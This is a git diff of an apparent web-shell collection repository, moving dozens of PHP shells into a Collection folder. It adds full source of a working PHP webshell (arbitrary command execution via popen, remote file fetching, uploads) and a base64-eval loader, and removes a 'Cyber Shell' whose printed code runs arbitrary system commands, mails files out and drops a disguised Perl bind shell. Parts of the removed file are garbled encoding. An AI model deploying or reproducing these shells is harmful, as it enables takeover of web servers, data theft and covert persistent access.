rename to Collection/simattacker.php diff --git a/simple-backdoor.php b/Collection/simple-backdoor.php similarity index 100% rename from simple-backdoor.php rename to Collection/simple-backdoor.php diff --git a/simple_cmd.php b/Collection/simple_cmd.php similarity index 100% rename from simple_cmd.php rename to Collection/simple_cmd.php diff --git a/small.php b/Collection/small.php similarity index 100% rename from small.php rename to Collection/small.php diff --git a/Collection/smevk.php b/Collection/smevk.php new file mode 100644 index 0000000..4b0d007 --- /dev/null +++ b/Collection/smevk.php @@ -0,0 +1,26 @@ + +".(base64_decode($smevk))); +?> diff --git a/soldierofallah.php b/Collection/soldierofallah.php similarity index 100% rename from soldierofallah.php rename to Collection/soldierofallah.php diff --git a/sosyete.php b/Collection/sosyete.php similarity index 100% rename from sosyete.php rename to Collection/sosyete.php diff --git a/spygrup.php b/Collection/spygrup.php similarity index 100% rename from spygrup.php rename to Collection/spygrup.php diff --git a/stres.php b/Collection/stres.php similarity index 100% rename from stres.php rename to Collection/stres.php diff --git a/toolaspshell.php b/Collection/toolaspshell.php similarity index 100% rename from toolaspshell.php rename to Collection/toolaspshell.php diff --git a/tryag.php b/Collection/tryag.php similarity index 100% rename from tryag.php rename to Collection/tryag.php diff --git a/Web-shell (c)ShAnKaR.php b/Collection/web-shell.php similarity index 100% rename from Web-shell (c)ShAnKaR.php rename to Collection/web-shell.php diff --git a/Collection/wso2.8.5.php b/Collection/wso2.8.5.php new file mode 100644 index 0000000..719204b --- /dev/null +++ b/Collection/wso2.8.5.php @@ -0,0 +1,8 @@ + diff --git a/Collection/wwwolf-webshell.php b/Collection/wwwolf-webshell.php new file mode 100644 index 0000000..5b9e5c8 --- /dev/null +++ b/Collection/wwwolf-webshell.php @@ -0,0 +1,296 @@ +#. + ******************************************************************************/ + +/* + * Optional password settings. + * Use the 'passhash.sh' script to generate the hash. + * NOTE: the prompt value is tied to the hash! + */ +$passprompt = "WhiteWinterWolf's PHP webshell: "; +$passhash = ""; + +function e($s) { echo htmlspecialchars($s, ENT_QUOTES); } + +function h($s) +{ + global $passprompt; + if (function_exists('hash_hmac')) + { + return hash_hmac('sha256', $s, $passprompt); + } + else + { + return bin2hex(mhash(MHASH_SHA256, $s, $passprompt)); + } +} + +function fetch_fopen($host, $port, $src, $dst) +{ + global $err, $ok; + $ret = ''; + if (strpos($host, '://') === false) + { + $host = 'http://' . $host; + } + else + { + $host = str_replace(array('ssl://', 'tls://'), 'https://', $host); + } + $rh = fopen("${host}:${port}${src}", 'rb'); + if ($rh !== false) + { + $wh = fopen($dst, 'wb'); + if ($wh !== false) + { + $cbytes = 0; + while (! feof($rh)) + { + $cbytes += fwrite($wh, fread($rh, 1024)); + } + fclose($wh); + $ret .= "${ok} Fetched file ${dst} (${cbytes} bytes)
"; + } + else + { + $ret .= "${err} Failed to open file ${dst}
"; + } + fclose($rh); + } + else + { + $ret = "${err} Failed to open URL ${host}:${port}${src}
"; + } + return $ret; +} + +function fetch_sock($host, $port, $src, $dst) +{ + global $err, $ok; + $ret = ''; + $host = str_replace('https://', 'tls://', $host); + $s = fsockopen($host, $port); + if ($s) + { + $f = fopen($dst, 'wb'); + if ($f) + { + $buf = ''; + $r = array($s); + $w = NULL; + $e = NULL; + fwrite($s, "GET ${src} HTTP/1.0\r\n\r\n"); + while (stream_select($r, $w, $e, 5) && !feof($s)) + { + $buf .= fread($s, 1024); + } + $buf = substr($buf, strpos($buf, "\r\n\r\n") + 4); + fwrite($f, $buf); + fclose($f); + $ret .= "${ok} Fetched file ${dst} (" . strlen($buf) . " bytes)
"; + } + else + { + $ret .= "${err} Failed to open file ${dst}
"; + } + fclose($s); + } + else + { + $ret .= "${err} Failed to connect to ${host}:${port}
"; + } + return $ret; +} + +ini_set('log_errors', '0'); +ini_set('display_errors', '1'); +error_reporting(E_ALL); + +while (@ ob_end_clean()); + +if (! isset($_SERVER)) +{ + global $HTTP_POST_FILES, $HTTP_POST_VARS, $HTTP_SERVER_VARS; + $_FILES = &$HTTP_POST_FILES; + $_POST = &$HTTP_POST_VARS; + $_SERVER = &$HTTP_SERVER_VARS; +} + +$auth = ''; +$cmd = empty($_POST['cmd']) ? '' : $_POST['cmd']; +$cwd = empty($_POST['cwd']) ? getcwd() : $_POST['cwd']; +$fetch_func = 'fetch_fopen'; +$fetch_host = empty($_POST['fetch_host']) ? $_SERVER['REMOTE_ADDR'] : $_POST['fetch_host']; +$fetch_path = empty($_POST['fetch_path']) ? '' : $_POST['fetch_path']; +$fetch_port = empty($_POST['fetch_port']) ? '80' : $_POST['fetch_port']; +$pass = empty($_POST['pass']) ? '' : $_POST['pass']; +$url = $_SERVER['REQUEST_URI']; +$status = ''; +$ok = '☺ :'; +$warn = '⚠ :'; +$err = '☹ :'; + +if (! empty($passhash)) +{ + if (function_exists('hash_hmac') || function_exists('mhash')) + { + $auth = empty($_POST['auth']) ? h($pass) : $_POST['auth']; + if (h($auth) !== $passhash) + { + ?> + + + + + + "; + } +} + +if (! ini_get('allow_url_fopen')) +{ + ini_set('allow_url_fopen', '1'); + if (! ini_get('allow_url_fopen')) + { + if (function_exists('stream_select')) + { + $fetch_func = 'fetch_sock'; + } + else + { + $fetch_func = ''; + $status .= "${warn} File fetching disabled ('allow_url_fopen'" + . " disabled and 'stream_select()' missing).
"; + } + } +} +if (! ini_get('file_uploads')) +{ + ini_set('file_uploads', '1'); + if (! ini_get('file_uploads')) + { + $status .= "${warn} File uploads disabled.
"; + } +} +if (ini_get('open_basedir') && ! ini_set('open_basedir', '')) +{ + $status .= "${warn} open_basedir = " . ini_get('open_basedir') . "
"; +} + +if (! chdir($cwd)) +{ + $cwd = getcwd(); +} + +if (! empty($fetch_func) && ! empty($fetch_path)) +{ + $dst = $cwd . DIRECTORY_SEPARATOR . basename($fetch_path); + $status .= $fetch_func($fetch_host, $fetch_port, $fetch_path, $dst); +} + +if (ini_get('file_uploads') && ! empty($_FILES['upload'])) +{ + $dest = $cwd . DIRECTORY_SEPARATOR . basename($_FILES['upload']['name']); + if (move_uploaded_file($_FILES['upload']['tmp_name'], $dest)) + { + $status .= "${ok} Uploaded file ${dest} (" . $_FILES['upload']['size'] . " bytes)
"; + } +} +?> + + + enctype="multipart/form-data" + + > + + + +
There are( " . count($domains) . " ) Domains in this Sever.I think you have got something this time yeah!!!.
NoDomainUser
".$count++."".$domain."".$user['name']."
+ + + + + + + +
+ Fetch: + + host: + port: + path: +
+ CWD: + + + + Upload: + +
+ Cmd: + + +
+ + Clear cmd +
+ +
+ + +
+ +${status}

"; +} + +echo "
";
+if (! empty($cmd))
+{
+	echo "";
+	e($cmd);
+	echo "\n";
+	if (DIRECTORY_SEPARATOR == '/')
+	{
+		$p = popen('exec 2>&1; ' . $cmd, 'r');
+	}
+	else
+	{
+		$p = popen('cmd /C "' . $cmd . '" 2>&1', 'r');
+	}
+	while (! feof($p))
+	{
+		echo htmlspecialchars(fread($p, 4096), ENT_QUOTES);
+		@ flush();
+	}
+}
+echo "
"; + +exit; +?> diff --git a/zaco.php b/Collection/zaco.php similarity index 100% rename from zaco.php rename to Collection/zaco.php diff --git a/zacosmall.php b/Collection/zacosmall.php similarity index 100% rename from zacosmall.php rename to Collection/zacosmall.php diff --git a/zehir4.php b/Collection/zehir4.php similarity index 100% rename from zehir4.php rename to Collection/zehir4.php diff --git a/Cyber Shell (v 1.0).php b/Cyber Shell (v 1.0).php deleted file mode 100644 index 2dda125..0000000 --- a/Cyber Shell (v 1.0).php +++ /dev/null @@ -1,1033 +0,0 @@ - -BODY, TD, TR { -text-decoration: none; -font-family: Verdana; -font-size: 8pt; -SCROLLBAR-FACE-COLOR: #363d4e; -SCROLLBAR-HIGHLIGHT-COLOR: #363d4e; -SCROLLBAR-SHADOW-COLOR: #363d4e; -SCROLLBAR-ARROW-COLOR: #363d4e; -SCROLLBAR-TRACK-COLOR: #91AAFF -} -input, textarea, select { -font-family: Verdana; -font-size: 10px; -color: black; -background-color: white; -border: solid 1px; -border-color: black -} -UNKNOWN { -COLOR: #0006DE; -TEXT-DECORATION: none -} -A:link { -COLOR: #0006DE; -TEXT-DECORATION: none -} -A:hover { -COLOR: #FF0C0B; -TEXT-DECORATION: none -} -A:active { -COLOR: #0006DE; -TEXT-DECORATION: none -} -A:visited { -TEXT-DECORATION: none -} -"; - -foreach($_POST as $key => $value) {$$key=$value;} -foreach($_GET as $key => $value) {$$key=$value;} - -if (isset($_GET[imgname])) -{ -$img=array( -'dir'=> -'/9j/4AAQSkZJRgABAQEAYABgAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofHh0aHBwgJC4nICIsIxwcKDcpLDAxNDQ0Hyc5PTgyPC4zNDL/2wBDAQkJCQwLDBgNDRgyIRwhMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjL/wAARCAAQABADASIAAhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSExBhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwD1mG6mv7ZbiBbxrhlUtJFMAiOVDbdjOAQAR26d880lzr2paU6T6hbp9gH+ulCKjJkqAQBK+4ZPPAqhDB4i0pXtbfRvtUYYFZluo0DAKq9Ccj7ufxqlq9n4p1qyksn0IQLKoQyNeRsF+dGzgdfu/rXi0ni4tJxZ2S9n3Vj/2Q==', -'txt'=> -'/9j/4AAQSkZJRgABAQEAYABgAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofHh0aHBwgJC4nICIsIxwcKDcpLDAxNDQ0Hyc5PTgyPC4zNDL/2wBDAQkJCQwLDBgNDRgyIRwhMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjL/wAARCAAQAA4DASIAAhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSExBhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwD1yy1G3sdEtDPDEIorCCRpXOOWGAMAHuPqc9K4bx5481Twp4c03xVolpaRjU3EM1rcozqzbSRINrLzhQAeMjGc4Xb1NpqOhTaXpznX9MgnS1hU754yyMq8YBbgjceoNeb/AB2u9IPw+0TT9M1K1uxbXaIBFOrsFETgE4NN8ttNyVe+ux//2Q==', -'bg'=> -'R0lGODlhCAAbAPQAAOTq8uLp8uDo8d7m8N3l79vj7tni7dfh7dXf7NTe69Pe69Ld6tLc6tDb6c7a6MzY6MrX58nW5sfU5cXT5MPS48PR48HQ4sLQ48DP4r/P4r7O4b7N4b3N4b3N4L3M4LzM4CwAAAAACAAbAAAFXCAgjmJgnqagrurgvi4hz3Jh37ah7/rh/z6EcChUGI8KhnK5aDae0KdjSp0+rtgrZMvdRr7gr2RMHk/O6HNlza5Y3nBLZk7PYO6bvH7z6fv3gBt1c3cYcW9tiRQhADs=', -'file'=> -'/9j/4AAQSkZJRgABAQEAYABgAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofHh0aHBwgJC4nICIsIxwcKDcpLDAxNDQ0Hyc5PTgyPC4zNDL/2wBDAQkJCQwLDBgNDRgyIRwhMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjL/wAARCAAQAA4DASIAAhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSExBhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwDrLnXbbSoILeLwJe6uyW8Baa0tWkDl4wxyQhAI4yCc/MDzzjITx9q+n3Go3VloUmjwRtbqbDUYHUsZBJh1XIwB5DcgDO85ztGNBtRjkaykiu9FdIFV4zJrcttIC1qsLhlSJsEc4YNuHYjJB5nXI0g0V1N/p0xLWsMMVrfG5ZUj+1MSSYowqjzlVVAwAoHHFXzQ5Lcvvd/L+vX16A91Y//Z', -); -@ob_clean(); -header("Content-type: image/gif"); -header("Cache-control: public"); -header("Expires: ".date("r",mktime(0,0,0,1,1,2030))); -header("Cache-control: max-age=".(60*60*24*7)); -header("Last-Modified: ".date("r",filemtime(__FILE__))); -echo base64_decode($img[$imgname]); -die; -} - -if ($_GET[pass]==$aupassword) -{ -$_SESSION[aupass]=md5($aupassword); -} -if ($hiddenmode=="false") -if ((!isset($_GET[pass]) or ($_GET[pass]!=$aupassword)) and ($_SESSION[aupass]=="")) -{ -$diz="ok"; -echo " -$style















-
- - - - - - - - - - -
-Enter your password: -
- -
- -
-
-"; -} -if ($_SESSION[aupass]!="") -{ -if (!$_GET and !$_POST or isset($pass)) -$show="start"; - -function ext($str){ -for ($i=1; $i",">",$str); -return $str; -} -function fsize($filename){ -$s=filesize($filename); -if ($s>1048576){ -return round(($s/1048576),2)." mb"; -} -if ($s>1024){ -return round(($s/1024),2)." kb"; -} -return $s." byte"; -} -function tourl($str){ -$str= urlencode($str); -return $str; -} -function unbug($str){ -$str = stripslashes($str); -return $str; -} -function countbyte($filesize) { -if($filesize >= 1073741824) { $filesize = round($filesize / 1073741824 * 100) / 100 . " GB"; } -elseif($filesize >= 1048576) { $filesize = round($filesize / 1048576 * 100) / 100 . " MB"; } -elseif($filesize >= 1024) { $filesize = round($filesize / 1024 * 100) / 100 . " KB"; } -else { $filesize = $filesize . ""; } -return $filesize; -} -function downloadfile($file) { -if (!file_exists("$file")) die; -$size = filesize("$file"); -$filen=extractfilename($file); -header("Content-Type: application/force-download; name=\"$filen\""); -header("Content-Transfer-Encoding: binary"); -header("Content-Length: $size"); -header("Content-Disposition: attachment; filename=\"$filen\""); -header("Expires: 0"); -header("Cache-Control: no-cache, must-revalidate"); -header("Pragma: no-cache"); -readfile("$file"); -die; -} - -function anonim_mail($from,$to,$subject,$text,$file){ - $fp = fopen($file, "rb"); - while(!feof($fp)) - $attachment .= fread($fp, 4096); - $attachment = base64_encode($attachment); - $subject = "sendfile (".extractfilename($file).")"; - $boundary = uniqid("NextPart_"); - $headers = "From: $from\nContent-type: multipart/mixed; boundary=\"$boundary\""; - $info = $text; - $filename=extractfilename($file); - $info .="--$boundary\nContent-type: text/plain; charset=iso-8859-1\nContent-transfer-encoding: 8bit\n\n\n\n--$boundary\nContent-type: application/octet-stream; name=$filename \nContent-disposition: inline; filename=$filename \nContent-transfer-encoding: base64\n\n$attachment\n\n--$boundary--"; - $send = mail($to, $subject, $info, $headers); -fclose($fp); -echo ""; -die; -} -if (!empty($_GET[downloadfile])) downloadfile($_GET[downloadfile]); -if (!empty($_GET[mailfile])) anonim_mail($email,$email,$_GET[mailfile],'File: '.$_GET[mailfile],$_GET[mailfile]); - -$d=$_GET[d]; -if (empty($d) or !isset($d)){ -$d=realpath("./"); -$d=str_replace("\\","/",$d); -} -$showdir=""; -$bufdir=""; -$buf = explode("/", $d); -for ($i=0;$i$d - -$style - - - - - - - - - -
-
$showdir
-EOF; - -function perms($file) -{ -$mode=fileperms($file); -if( $mode & 0x1000 ) -$type='p'; -else if( $mode & 0x2000 ) -$type='c'; -else if( $mode & 0x4000 ) -$type='d'; -else if( $mode & 0x6000 ) -$type='b'; -else if( $mode & 0x8000 ) -$type='-'; -else if( $mode & 0xA000 ) -$type='l'; -else if( $mode & 0xC000 ) -$type='s'; -else -$type='u'; -$owner["read"] = ($mode & 00400) ? 'r' : '-'; -$owner["write"] = ($mode & 00200) ? 'w' : '-'; -$owner["execute"] = ($mode & 00100) ? 'x' : '-'; -$group["read"] = ($mode & 00040) ? 'r' : '-'; -$group["write"] = ($mode & 00020) ? 'w' : '-'; -$group["execute"] = ($mode & 00010) ? 'x' : '-'; -$world["read"] = ($mode & 00004) ? 'r' : '-'; -$world["write"] = ($mode & 00002) ? 'w' : '-'; -$world["execute"] = ($mode & 00001) ? 'x' : '-'; -if( $mode & 0x800 ) -$owner["execute"] = ($owner['execute']=='x') ? 's' : 'S'; -if( $mode & 0x400 ) -$group["execute"] = ($group['execute']=='x') ? 's' : 'S'; -if( $mode & 0x200 ) -$world["execute"] = ($world['execute']=='x') ? 't' : 'T'; -$s=sprintf("%1s", $type); -$s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']); -$s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']); -$s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']); -return trim($s); -} - -function updir($dir){ -if (strlen($dir)>2){ -for ($i=1; $i -
-����� - -����� - -� ������ - -����������� - -� ������ -
-EOF; - -$free = countbyte(diskfreespace("./")); -if (!empty($free)) echo "��������� �������� ������������ : $free
"; -$os=exec("uname"); -if (!empty($os)) echo "������� :".$os."
"; -if (!empty($REMOTE_ADDR)) echo "��� IP: $REMOTE_ADDR   $HTTP_X_FORWARDED_FOR
"; -$ghz=exec("cat /proc/cpuinfo | grep GHz"); -if (!empty($ghz)) echo "���� � ������:(GHz)".$ghz."
"; -$mhz=exec("cat /proc/cpuinfo | grep MHz"); -if (!empty($mhz)) echo "���� � ������:(MHz) ".$mhz."
"; -$my_id=exec("id"); -if (!empty($my_id)) echo "
������������:".$my_id."
"; -} - -function showdir($df) { -$df=str_replace("//","/",$df); -$dirs=array(); -$files=array(); -if ($dir=opendir($df)) { -while (($file=readdir($dir))!==false) { -if ($file=="." || $file=="..") continue; -if (is_dir("$df/$file")){ -$dirs[]=$file;} -else { -$files[]=$file;}}} -closedir($dir); -sort($dirs); -sort($files); -echo <<< EOF - -EOF; -for ($i=0; $i - - - - - - -EOF; -} -for ($i=0; $i - - - - - - -EOF; -} -echo "
$dirs[$i]�������
�������
$perm
$files[$i] ($fsize)ren/del/get/mail
$attr
$perm
"; -if (count($dirs)==0 && count($files)==0){ -echo <<< EOF - - - - -
����� �����
-EOF; -}} - -$edit=$_REQUEST[edit]; -if (isset($_REQUEST[edit]) && (!empty($_REQUEST[edit])) && (!isset($_REQUEST[ashtml])) ){ -$file=fopen($edit,"r") or die ("��� ������� � ����� $edit"); -if (filesize($edit) > 0) -$tfile=fread($file,filesize($edit)) or die ("��� ������� � ����� $edit"); -else $tfile = ""; -fclose($file); -$tfile = htmlspecialchars($tfile,ENT_QUOTES); -echo " -
-
"; -$mydir=updir($edit); -echo " -��������� � $mydir/
-�� ������������ ���� : $edit
-����������� ���� ���� � ���� HTML -
- -
-"; -if (!isset($_REQUEST[readonly])) -echo ""; -echo " -
-
-
-"; -} -if (isset($edit) && (!empty($edit)) && (isset($ashtml))){ -$mydir=updir($edit); -echo " -
-��������� � $mydir/
-�� �������������� ���� : $edit -
-"; -readfile($edit); -echo " -
-
-"; -} - -if (isset($texoffile) && isset($nameoffile)) -{ -$texoffile=unbug($texoffile); -$f = fopen("$nameoffile", "w") or die ("��� ������� � ����� $nameoffile"); -fwrite($f, "$texoffile"); -fclose($f); -$mydir=updir($nameoffile); -echo ""; -die; -} - -if (isset($_REQUEST[delfile]) && ($_REQUEST[delfile]!="")) -{ -$delfile=$_REQUEST[delfile]; -$mydir=updir($delfile); -$deleted = unlink("$delfile"); -echo ""; -die; -} - -function deletedir($directory) { -if ($dir=opendir($directory)) { -while (($file=readdir($dir))!==false) { -if ($file=="." || $file=="..") continue; -if (is_dir("$directory/$file")) { -deletedir($directory."/".$file);} -else {unlink($directory."/".$file);}}} -closedir($dir); -rmdir("$directory/$file"); -} -if (isset($_REQUEST[deldir]) && (!empty($_REQUEST[deldir]))){ -$deldir=$_REQUEST[deldir]; -$mydir=updir(updir($deldir)); -deletedir("$deldir"); -echo ""; -die; -} - -if (isset($show)){showdir("$d");} - -{ -if (isset($_REQUEST[tools])) -echo <<< EOF -
- - - - -
-.: �������� ��� ������ ����� :. -
-
-EOF; -if (isset($_REQUEST[tools]) or isset($_REQUEST[tmkdir])) -echo <<< EOF -
- - - - - - - -
-
-.: ������� ����� :. -
- - - - -
-
-EOF; - -if (isset($newdir) && ($newdir!="")) -{ -$mydir=updir($newdir); -mkdir($newdir,"7777"); -echo ""; -} - -if(@$_GET['rename']){ -echo "RENAME $d/$filetorename ?

-
-
-RENAME
$filetorename

TO
-

- -
-"; -@$rto=$_POST['rto']; -if($rto){ -$fr1=$d."/".$filetorename; -$fr1=str_replace("//","/",$fr1); -$to1=$d."/".$rto; -$to1=str_replace("//","/",$to1); -rename($fr1,$to1); -echo "File
$filetorename
Renamed to $rto

"; -echo "";} -echo $copyr; -exit; -} - -if (isset($tools) or isset($tmkfile)) -echo <<< EOF -
- - - - - - - -
-
-.: ������� ���� :. -
- - - - -
-
-EOF; - -if (isset($newfile) && ($newfile!="")){ -$f = fopen("$newfile", "w+"); -fwrite($f, ""); -fclose($f); -$mydir=updir($newfile); -echo ""; -} - -if (isset($tools) or isset($tbackdoor)) -echo <<< EOF -
- - - - - - - -
-
-.: ������� ���� :. -
-��� �������: ����: - - - - -
-
-EOF; - -if (isset($bfileneme) && ($bfileneme!="") && isset($bport) && ($bport!="")){ -$script=" -#!/usr/bin/perl -\$port = $bport; -\$port = \$ARGV[0] if \$ARGV[0]; -exit if fork; -\$0 = \"updatedb\" . \" \" x100; -\$SIG{CHLD} = 'IGNORE'; -use Socket; -socket(S, PF_INET, SOCK_STREAM, 0); -setsockopt(S, SOL_SOCKET, SO_REUSEADDR, 1); -bind(S, sockaddr_in(\$port, INADDR_ANY)); -listen(S, 50); -while(1) -{ - accept(X, S); - unless(fork) - { - open STDIN, \"<&X\"; - open STDOUT, \">&X\"; - open STDERR, \">&X\"; - close X; - exec(\"/bin/sh\"); - } - close X; -} -"; - -$f = fopen("$d/$bfileneme", "w+"); -fwrite($f, $script); -fclose($f); -system("perl $d/$bfileneme"); -echo ""; -} - -if (isset($tools) or isset($tbash)) -echo <<< EOF -
- - - - - - - -
-
- -.: ��������� ������� :. -
- - - - - -
-
-EOF; - -if (isset($cmd) && ($cmd!="")){ -echo "
"; -system($cmd); -echo "
"; -} - -if (isset($tools) or isset($tupload)){ -$updir="$d/"; -if(empty($go)) { -echo <<< EOF -
- - - - - - - -
-
-.: �������� ���� � ������� ������� :. -
- - - - - - -
-
-EOF; -} -else { -if (is_uploaded_file($userfile)) { -$fi = "������� ���� $userfile_name �������� $userfile_size ���� � ���������� $updir"; -} -echo "$fi
����� � ��������"; -} -if (is_uploaded_file($userfile)) { -$dest=$updir.$userfile_name; -move_uploaded_file($userfile, $dest); -}} - -if ((isset($db_server)) || (isset($db_user)) || (isset($db_pass)) ){ -mysql_connect($db_server, $db_user, $db_pass) or die("�� ���� ������������ � ����"); -} - -if ((isset($dbname)) and (isset($table)) ) -{ -foreach($_POST as $var => $val) -if (substr($var,0,7) == 'newpole'){ -if (substr($var,7,strlen($var)) !== ''){ -$indif=substr($var,7,strlen($var)); -echo " $val "; -mysql_select_db($dbname) or die("�� ���� ������� ���� ������"); -if ($xvar == "") -$xvar .= $indif; -else -$xvar .= ",".$indif; -if ($xval == "") -$xval .= "'$val'"; -else -$xval .= ",'$val'"; -}} - -if ($xvar != ""){ -mysql_query("INSERT INTO $table ($xvar) values ($xval)"); -} - -echo "����� � ������ ������ ��:$dbname"; -mysql_select_db($dbname) or die("�� ���� ������� ���� ������"); -$re=mysql_query("select * from $table"); -echo ""; - -$res=mysql_fetch_array($re); -echo ""; -if (count($res) > 1) -foreach($res as $var => $val){ -$nvar=$var; -if ($nvar !== 0) -$nvar=$var+128945432; -if ($nvar == 128945432){ -$var=untag($var); -echo ""; -}} -echo ""; - -if (isset($_SESSION[limit]) and ($_SESSION[limit] !== "0")) -$param="limit $_SESSION[limit]"; - -$re=mysql_query("select * from $table $param"); - -while($res=mysql_fetch_array($re)){ -echo ""; -if (count($res) > 1) -foreach($res as $var => $val){ -$nvar=$var; -if ($nvar !== 0) -$nvar=$var+128945432; -if (!$pixidname){ -$pixidname=$var; -$pixid=$val; -} -if ($nvar == 128945432){ -$valtext=untag($val); -if ($valtext == "") $valtext="=�����="; - - -if ($_SESSION[lenth] == "on"){ -if (strlen($valtext)>40){ -$valtext=substr($valtext,0,40); -$valtext .="..."; -}} - -echo ""; -}} - -echo ""; -$pixidname=''; -$pixid=''; -} - -echo ""; - -$re=mysql_query("select * from $table"); -$res=mysql_fetch_array($re); -echo ""; -if (count($res) > 1) -foreach($res as $var => $val){ -$nvar=$var; -if ($nvar !== 0) -$nvar=$var+128945432; -if ($nvar == 128945432){ -$var=untag($var); -echo ""; -}} -echo ""; - -$re=mysql_query("select * from $table"); -$res=mysql_fetch_array($re); -echo ""; -if (count($res) > 1) -foreach($res as $var => $val){ -$nvar=$var; -if ($nvar !== 0) -$nvar=$var+128945432; -if ($nvar == 128945432){ -$var=untag($var); -echo ""; -}} -echo ""; -echo "
$var
$valtext�������
$var
"; -echo ""; -echo " - - - - - -"; -echo ""; -} - -if ((isset($dbname)) and (isset($mtable)) and (isset($pixidname)) and (isset($pixid)) and (isset($del))){ -echo "hello"; -mysql_select_db($dbname) or die("�� ���� ������� ���� ������"); -mysql_query("delete from $mtable where $pixidname='$pixid'"); -echo ""; -} - -if ((isset($dbname)) and (isset($mtable)) and (isset($var)) and (isset($pixidname)) and (isset($pixid)) and (isset($textofmysql))){ -mysql_select_db($dbname) or die("�� ���� ������� ���� ������"); -mysql_query("update $mtable set $var='$textofmysql' where $pixidname=$pixid"); -} - -if ((isset($dbname)) and (isset($mtable)) and (isset($var)) and (isset($pixidname)) and (isset($pixid))){ -mysql_select_db($dbname) or die("�� ���� ������� ���� ������"); -$re=mysql_query("select $var from $mtable where $pixidname='$pixid'"); -$res=mysql_fetch_array($re); -$text=untag($res[$var]); - -echo " -
- - - - - - - - - -
-
-��������� � ������ -"; -} - -if (isset($showdb) && empty($showtables)){ -$re=mysql_query("show databases"); -echo ""; -echo ""; -while($res=mysql_fetch_array($re)){ -echo ""; -} -echo "
������ ��������� ��:
$res[0]
"; -} -if (isset($showtables) and !empty($showtables)){ - -if (isset($xlimit)){ -$_SESSION[limit]=$xlimit; -if (isset($xlenth)) -$_SESSION[lenth]=$xlenth; -else $_SESSION[lenth]=""; -} - -echo "����� � ������ ��"; -$re=mysql_query("SHOW TABLES FROM $showtables"); -echo ""; -echo ""; -while($res=mysql_fetch_array($re)){ -echo ""; -} -echo "
$showtables - ������ ������:
$res[0]
"; - -if (($_SESSION[lenth]) == "on") -$ch="checked"; -else -$ch=""; - -echo <<< EOF -
- - - - -����������� �� ���������� ��������� �����:
- -
�������� ����������� �� ����� ��������� �����
- -EOF; -if (isset($_SESSION[limit]) and ($_SESSION[limit] !== "0")) -echo "
������� �����������: $_SESSION[limit]"; -} - -if (isset($tools) or isset($tmysql)) -echo " -
- - - - - - - -
-.: MySQL :. -
- - - - - - - - - - - - - - - - - - - - - -
-Host - - -
-Login MySQL - - -
-Password MySQL - - - -
-��� �� (�� �����������) - - -
- - - -
- -
-
-"; -} -echo <<< EOF -
